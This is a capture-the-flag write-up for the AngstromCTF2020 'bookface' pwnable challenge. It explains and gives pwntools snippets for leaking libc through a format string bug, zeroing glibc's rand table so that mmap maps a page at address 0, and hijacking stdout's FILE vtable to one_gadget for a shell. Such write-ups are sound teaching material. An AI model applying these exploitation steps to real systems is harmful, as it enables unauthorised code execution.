AngstromCTF2020 - bookface writeup
Introduction
- Given files: bookface.tar.gz.
- Category: Pwnable
- Hints:
sysctl vm.mmap_min_addr=0
was run on the host system (more a reminder than a hint, because this line is already in theDockerfile
); Brute forcing is not required. - Summary: This challenge gives us a
Docker
environment for a simple program that implements a social media app. The libc version is 2.23. The exploit involves leaking from a format string bug, and RCE through a NULL pointer deference because the min address formmap()
is set to 0. We also have to play with glibcrand()
to makemmap()
returns the desired address.
- Analyze the binary -> find format string bug in the survey (but without
%n
capability), logic bug that sets arbitrary address as 0. - Take the survey -> leak
libc
address. - Use arbitrary write to 0 -> set the whole
randtbl
ofrand()
to 0. - Login a gain to map a page at address 0 -> spray
one_gadget
on it. - Overwrite
_IO_file_jmp
ofstdout
to 0 -> callone_gadget
and get shell
Analyzing the binary
This program is like a very simple social media app with the following functionalities:
- Login and add/remove friends.
- When logging in, you are asked for an ID. If it’s a new ID, you will be asked for a name. If the ID already exist, it will be a relogin and you will be asked for a survey.
- After logging in, you have the options to: add a number of friends, remove a number of friends, remove your account, logout.
- For the survey, you will be asked to rate 4 aspects on a scale of 0 to 10. If you don’t rate them all 10, you will have to rate again, and if you don’t rate them all 10 in the second time, your friends will be set to 0.
The first bug here is that in the survey, there is a format string bug, but the character n
has been filtered out, so this can only be used for leaking:
if (strchr(survey, 'n') != NULL) {
//a bug bounty report said something about hacking and the letter n
puts("ERROR: HACKING DETECTED");
puts("Exiting...");
exit(1);
}
if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
puts("Those ratings don't seem quite right. Please review them and try again:");
printf(survey);
...
}
The next bug is in that the number of friends
in the struct is defined as a pointer, but treated as a number in the add/remove friend options, and treated as a pointer again when the user’s friend get set to 0 -> we can write 0 to any arbitrary address:
struct profile {
char name[0x100];
long long *friends; //some people have a lot of friends
};
...
if (strcmp(survey, "10\n10\n10\n10\n") != 0) {
puts("Our survey says... you don't seem very nice. I doubt you have any friends!");
*(user->friends) = 0;
}
The final thing is in the Dockerfile
and the hint itself: sysctl vm.mmap_min_addr=0
was run on the host system. There is a reason why most real systems set this to 4096 instead of 0, and this is a vulnearability. This makes so that mmap()
can return a page at address 0, making NULL pointer deferences valid.
Leaking libc
Using the format string bug in the survey, we can easily leak libc’s address through the 3rd parameter:
# Leak libc through fmt
login(0, "a", "10\n10\n10\n10\n", "10\n10\n10\n10\n")
logout()
r.sendlineafter("ID: ", "0")
r.sendafter("Content: ", "%3$lx aaaaa\n")
r.recvuntil("again:\n")
libc_base = int(r.recv(12), 16) - 1012416
log.info("libc_base: " + hex(libc_base))
Zeroing out randtbl
Because the only bug we are left with is a arbitrary write to 0 bug, it initially seems that we cannot do much with it. But since the min address for mapping pages is 0, I thought that we could try to somehow map a page there, and use the bug to overwrite a pointer somewhere in libc
and defrencing that pointer, which would normally be a fault do to NULL pointer deference, is now valid.
But first, the problem is how to map a page at address 0, the user
struct is stored in a separate page mapped with rand()
:
user = mmap(rand()&0xfffffffffffff000, sizeof (struct profile), PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_FIXED, -1, 0);
Therefore, if somehow we can make rand()
returns 0, we win. At first I tried to bruteforce it, but it doesn’t end well on the remote server. Then i digged in to the source of rand()
to see if I could make anything works there. In short, this is how rand()
works: in the writable region of libc, there is a table of random values called randtbl
. When rand()
is called, it takes 2 “random” numbers in randtbl
, adds them together and returns it as the result, it also uses that result to update the current randtbl
. So, if we keep overwriting entries in randtbl
to 0, it will eventually make rand()
always return 0. The code in libc is as follows:
int
__random_r (struct random_data *buf, int32_t *result)
{
...
int32_t *fptr = buf->fptr;
int32_t *rptr = buf->rptr;
int32_t *end_ptr = buf->end_ptr;
uint32_t val;
val = *fptr += (uint32_t) *rptr;
/* Chucking least random bit. */
*result = val >> 1;
++fptr;
if (fptr >= end_ptr)
{
fptr = state;
++rptr;
}
else
{
++rptr;
if (rptr >= end_ptr)
rptr = state;
}
buf->fptr = fptr;
buf->rptr = rptr;
...
}
And so I tried to do just that, and it succeeded:
# Zero out rand_tbl
login(1, p64(one_gadget)*32, "10\n10\n10\n10\n", "10\n10\n10\n10\n")
remove()
for j in range(4):
print j
for i in range(9):
print str(j) + ":" + str(i)
set_zero(rand_tbl + 8*i)
One gadget spraying
The next concern is what to do with the page that is mapped at address 0. We cannot put shellcode there because it is mapped as non-executable. Therefore, I thought of making it a fake vtable
for a FILE structure, because this is libc version 2.23
, so there is no vtable
validity check. So my plan was to spray a lot one_gadgets
there, then overwrite the vtable
pointer of stdout
, which is _IO_file_jmp
, to 0. This way, the next calls to any function on stdout
will pop a shell.
# Spray one gadget on page at address 0
login(1, p64(one_gadget)*32, "10\n10\n10\n10\n", "10\n10\n10\n10\n")
add_friend(IO_file_jmp / 8)
logout()
login(1, p64(one_gadget)*32, "01\n01\n01\n01\n", "01\n01\n01\n01\n")
Appendix
The full exploit is a.py.